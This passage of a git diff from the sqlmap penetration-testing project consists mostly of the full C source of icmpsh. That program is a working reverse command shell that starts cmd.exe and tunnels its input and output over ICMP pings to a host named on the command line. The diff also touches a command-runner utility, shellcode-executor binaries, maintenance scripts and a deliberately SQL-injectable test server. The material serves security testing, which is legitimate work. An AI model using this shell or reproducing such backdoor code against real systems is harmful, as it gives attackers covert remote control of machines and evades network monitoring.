- status = spawn_shell(&pi, &pipe_read, &pipe_write);
- }
-
- // create icmp channel
- create_icmp_channel(&icmp_chan);
- if (icmp_chan == INVALID_HANDLE_VALUE) {
- printf("unable to create ICMP file: %u\n", GetLastError());
- return -1;
- }
-
- // allocate transfer buffers
- in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- if (!in_buf || !out_buf) {
- printf("failed to allocate memory for transfer buffers\n");
- return -1;
- }
- memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
- memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
- // sending/receiving loop
- blanks = 0;
- do {
-
- switch(status) {
- case STATUS_SINGLE:
- // reply with a static string
- out_buf_size = sprintf(out_buf, "Test1234\n");
- break;
- case STATUS_PROCESS_NOT_CREATED:
- // reply with error message
- out_buf_size = sprintf(out_buf, "Process was not created\n");
- break;
- default:
- // read data from process via pipe
- out_buf_size = 0;
- if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
- if (out_buf_size > 0) {
- out_buf_size = 0;
- rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
- if (!rs && GetLastError() != ERROR_IO_PENDING) {
- out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
- }
- }
- } else {
- out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
- }
- break;
- }
-
- // send request/receive response
- if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
- if (status == STATUS_OK) {
- // write data from response back into pipe
- WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
- }
- blanks = 0;
- } else {
- // no reply received or error occured
- blanks++;
- }
-
- // wait between requests
- Sleep(delay);
-
- } while (status == STATUS_OK && blanks < max_blanks);
-
- if (status == STATUS_OK) {
- TerminateProcess(pi.hProcess, 0);
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
+
+#define STATUS_OK 0
+#define STATUS_SINGLE 1
+#define STATUS_PROCESS_NOT_CREATED 2
+
+#define TRANSFER_SUCCESS 1
+#define TRANSFER_FAILURE 0
+
+#define DEFAULT_TIMEOUT 3000
+#define DEFAULT_DELAY 200
+#define DEFAULT_MAX_BLANKS 10
+#define DEFAULT_MAX_DATA_SIZE 64
+
+FARPROC icmp_create, icmp_send, to_ip;
+
+int verbose = 0;
+
+int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
+{
+ SECURITY_ATTRIBUTES sattr;
+ STARTUPINFOA si;
+ HANDLE in_read, out_write;
+
+ memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
+
+ // create communication pipes
+ memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sattr.bInheritHandle = TRUE;
+ sattr.lpSecurityDescriptor = NULL;
+
+ if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ // spawn process
+ memset(&si, 0x00, sizeof(STARTUPINFO));
+ si.cb = sizeof(STARTUPINFO);
+ si.hStdError = out_write;
+ si.hStdOutput = out_write;
+ si.hStdInput = in_read;
+ si.dwFlags |= STARTF_USESTDHANDLES;
+
+ if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ CloseHandle(out_write);
+ CloseHandle(in_read);
+
+ return STATUS_OK;
+}
+
+void usage(char *path)
+{
+ printf("%s [options] -t target\n", path);
+ printf("options:\n");
+ printf(" -t host host ip address to send ping requests to\n");
+ printf(" -r send a single test icmp request and then quit\n");
+ printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
+ printf(" -o milliseconds timeout in milliseconds\n");
+ printf(" -h this screen\n");
+ printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
+ printf(" before quitting\n");
+ printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+ printf("In order to improve the speed, lower the delay (-d) between requests or\n");
+ printf("increase the size (-s) of the data buffer\n");
+}
+
+void create_icmp_channel(HANDLE *icmp_chan)
+{
+ // create icmp file
+ *icmp_chan = (HANDLE) icmp_create();
+}
+
+int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
+{
+ int rs;
+ char *temp_in_buf;
+ int nbytes;
+
+ PICMP_ECHO_REPLY echo_reply;
+
+ temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
+ if (!temp_in_buf) {
+ return TRANSFER_FAILURE;
+ }
+
+ // send data to remote host
+ rs = icmp_send(
+ icmp_chan,
+ target,
+ out_buf,
+ out_buf_size,
+ NULL,
+ temp_in_buf,
+ max_in_data_size + ICMP_HEADERS_SIZE,
+ timeout);
+
+ // check received data
+ if (rs > 0) {
+ echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
+ if (echo_reply->DataSize > max_in_data_size) {
+ nbytes = max_in_data_size;
+ } else {
+ nbytes = echo_reply->DataSize;
+ }
+ memcpy(in_buf, echo_reply->Data, nbytes);
+ *in_buf_size = nbytes;
+
+ free(temp_in_buf);
+ return TRANSFER_SUCCESS;
+ }
+
+ free(temp_in_buf);
+
+ return TRANSFER_FAILURE;
+}
+
+int load_deps()
+{
+ HMODULE lib;
+
+ lib = LoadLibraryA("ws2_32.dll");
+ if (lib != NULL) {
+ to_ip = GetProcAddress(lib, "inet_addr");
+ if (!to_ip) {
+ return 0;
+ }
+ }
+
+ lib = LoadLibraryA("iphlpapi.dll");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ lib = LoadLibraryA("ICMP.DLL");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ printf("failed to load functions (%u)", GetLastError());
+
+ return 0;
+}
+int main(int argc, char **argv)
+{
+ int opt;
+ char *target;
+ unsigned int delay, timeout;
+ unsigned int ip_addr;
+ HANDLE pipe_read, pipe_write;
+ HANDLE icmp_chan;
+ unsigned char *in_buf, *out_buf;
+ unsigned int in_buf_size, out_buf_size;
+ DWORD rs;
+ int blanks, max_blanks;
+ PROCESS_INFORMATION pi;
+ int status;
+ unsigned int max_data_size;
+
+ // set defaults
+ target = 0;
+ timeout = DEFAULT_TIMEOUT;
+ delay = DEFAULT_DELAY;
+ max_blanks = DEFAULT_MAX_BLANKS;
+ max_data_size = DEFAULT_MAX_DATA_SIZE;
+
+ status = STATUS_OK;
+ if (!load_deps()) {
+ printf("failed to load ICMP library\n");
+ return -1;
+ }
+
+ // parse command line options
+ for (opt = 1; opt < argc; opt++) {
+ if (argv[opt][0] == '-') {
+ switch(argv[opt][1]) {
+ case 'h':
+ usage(*argv);
+ return 0;
+ case 't':
+ if (opt + 1 < argc) {
+ target = argv[opt + 1];
+ }
+ break;
+ case 'd':
+ if (opt + 1 < argc) {
+ delay = atol(argv[opt + 1]);
+ }
+ break;
+ case 'o':
+ if (opt + 1 < argc) {
+ timeout = atol(argv[opt + 1]);
+ }
+ break;
+ case 'r':
+ status = STATUS_SINGLE;
+ break;
+ case 'b':
+ if (opt + 1 < argc) {
+ max_blanks = atol(argv[opt + 1]);
+ }
+ break;
+ case 's':
+ if (opt + 1 < argc) {
+ max_data_size = atol(argv[opt + 1]);
+ }
+ break;
+ default:
+ printf("unrecognized option -%c\n", argv[1][0]);
+ usage(*argv);
+ return -1;
+ }
+ }
+ }
+
+ if (!target) {
+ printf("you need to specify a host with -t. Try -h for more options\n");
+ return -1;
+ }
+ ip_addr = to_ip(target);
+
+ // don't spawn a shell if we're only sending a single test request
+ if (status != STATUS_SINGLE) {
+ status = spawn_shell(&pi, &pipe_read, &pipe_write);
+ }
+
+ // create icmp channel
+ create_icmp_channel(&icmp_chan);
+ if (icmp_chan == INVALID_HANDLE_VALUE) {
+ printf("unable to create ICMP file: %u\n", GetLastError());
+ return -1;
+ }
+
+ // allocate transfer buffers
+ in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ if (!in_buf || !out_buf) {
+ printf("failed to allocate memory for transfer buffers\n");
+ return -1;
+ }
+ memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+ memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+
+ // sending/receiving loop
+ blanks = 0;
+ do {
+
+ switch(status) {
+ case STATUS_SINGLE:
+ // reply with a static string
+ out_buf_size = sprintf(out_buf, "Test1234\n");
+ break;
+ case STATUS_PROCESS_NOT_CREATED:
+ // reply with error message
+ out_buf_size = sprintf(out_buf, "Process was not created\n");
+ break;
+ default:
+ // read data from process via pipe
+ out_buf_size = 0;
+ if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
+ if (out_buf_size > 0) {
+ out_buf_size = 0;
+ rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
+ if (!rs && GetLastError() != ERROR_IO_PENDING) {
+ out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
+ }
+ }
+ } else {
+ out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
+ }
+ break;
+ }
+
+ // send request/receive response
+ if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
+ if (status == STATUS_OK) {
+ // write data from response back into pipe
+ WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
+ }
+ blanks = 0;
+ } else {
+ // no reply received or error occured
+ blanks++;
+ }
+
+ // wait between requests
+ Sleep(delay);
+
+ } while (status == STATUS_OK && blanks < max_blanks);
+
+ if (status == STATUS_OK) {
+ TerminateProcess(pi.hProcess, 0);
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_
index a909351bd..4388012ab 100644
Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ
diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_
index 556eabb7b..20cfaa497 100644
Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ
diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln
index 0770582d0..a70c648d0 100644
--- a/extra/runcmd/src/runcmd.sln
+++ b/extra/runcmd/src/runcmd.sln
@@ -1,20 +1,20 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp
index ab40a0c21..743f2a279 100644
--- a/extra/runcmd/src/runcmd/runcmd.cpp
+++ b/extra/runcmd/src/runcmd/runcmd.cpp
@@ -1,46 +1,46 @@
-/*
- runcmd - a program for running command prompt commands
- Copyright (C) 2010 Miroslav Stampar
- email: miroslav.stampar@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#include
-#include
-#include
-#include "stdafx.h"
-#include
-
-using namespace std;
-int main(int argc, char* argv[])
-{
- FILE *fp;
- string cmd;
-
- for( int count = 1; count < argc; count++ )
- cmd += " " + string(argv[count]);
-
- fp = _popen(cmd.c_str(), "r");
-
- if (fp != NULL) {
- char buffer[BUFSIZ];
-
- while (fgets(buffer, sizeof buffer, fp) != NULL)
- fputs(buffer, stdout);
- }
-
- return 0;
-}
+/*
+ runcmd - a program for running command prompt commands
+ Copyright (C) 2010 Miroslav Stampar
+ email: miroslav.stampar@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+#include
+#include
+#include
+#include "stdafx.h"
+#include
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+ FILE *fp;
+ string cmd;
+
+ for( int count = 1; count < argc; count++ )
+ cmd += " " + string(argv[count]);
+
+ fp = _popen(cmd.c_str(), "r");
+
+ if (fp != NULL) {
+ char buffer[BUFSIZ];
+
+ while (fgets(buffer, sizeof buffer, fp) != NULL)
+ fputs(buffer, stdout);
+ }
+
+ return 0;
+}
diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj
index 928c71606..157e33863 100644
--- a/extra/runcmd/src/runcmd/runcmd.vcproj
+++ b/extra/runcmd/src/runcmd/runcmd.vcproj
@@ -1,225 +1,225 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp
index f5e349538..e191a9156 100644
--- a/extra/runcmd/src/runcmd/stdafx.cpp
+++ b/extra/runcmd/src/runcmd/stdafx.cpp
@@ -1,8 +1,8 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h
index bdabbfb48..0be0e6ffe 100644
--- a/extra/runcmd/src/runcmd/stdafx.h
+++ b/extra/runcmd/src/runcmd/stdafx.h
@@ -1,17 +1,17 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
-#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
-#endif
-
-#include
-#include
-
-
-
-// TODO: reference additional headers your program requires here
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
+#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
+#endif
+
+#include
+#include
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
index 0cbe5404f..515453c0e 100644
Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index 147333b29..3ba88a266 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index 99bccf5c8..c334b972e 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,14 +1,9 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
-# Stress test against Python3
+# Stress test against Python3(.14)
-export SQLMAP_DREI=1
-#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
-unset SQLMAP_DREI
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done
source `dirname "$0"`"/junk.sh"
-
-# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file'
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index ac3caf88d..5de6e357e 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index 61365a754..544ccf121 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index 2302268e4..8b3f0121f 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index 75c196077..20c62373d 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index d8649cff1..cbe37a7a0 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index 896985c91..3cdbdf5d7 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -1,4 +1,6 @@
#!/bin/bash
+set -euo pipefail
+IFS=$'\n\t'
if [ ! -f ~/.pypirc ]; then
echo "File ~/.pypirc is missing"
@@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}"
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
TYPE=pip
-TMP_DIR=/tmp/pypi
-mkdir $TMP_DIR
-cd $TMP_DIR
-cat > $TMP_DIR/setup.py << EOF
+TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)"
+cleanup() { rm -rf -- "${TMP_DIR:?}"; }
+trap cleanup EXIT
+cd "$TMP_DIR"
+cat > "$TMP_DIR/setup.py" << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -68,7 +71,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -82,7 +85,7 @@ cat > README.rst << "EOF"
sqlmap
======
-|Python 2.6|2.7|3.x| |License| |X|
+|Python 2.7|3.x| |License| |X|
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
@@ -123,7 +126,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with
-`Python `__ version **2.6**, **2.7** and
+`Python `__ version **2.7** and
**3.x** on any platform.
Usage
@@ -164,7 +167,7 @@ Links
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
-.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg
+.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg
:target: https://www.python.org/
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE
@@ -176,8 +179,14 @@ Links
EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
-for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
+: > MANIFEST.in
+while IFS= read -r -d '' file; do
+ case "$file" in
+ *.git|*.yml) continue ;;
+ esac
+ echo "include $file" >> MANIFEST.in
+done < <(find sqlmap -type f -print0)
python setup.py sdist bdist_wheel
twine check dist/*
twine upload --config-file=~/.pypirc dist/*
-rm -rf $TMP_DIR
+rm -rf "$TMP_DIR"
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index f5d9f77ab..769108f92 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
"""
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -11,8 +11,10 @@ from __future__ import print_function
import base64
import json
+import random
import re
import sqlite3
+import string
import sys
import threading
import traceback
@@ -49,9 +51,70 @@ SCHEMA = """
);
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
- INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
- INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header');
- INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
+ INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis');
+ INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace');
+ INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper');
+ INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing');
+ INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton');
+ INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth');
+ INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee');
+ INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds');
+ INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson');
+ INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie');
+ INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov');
+ INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra');
+ INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy');
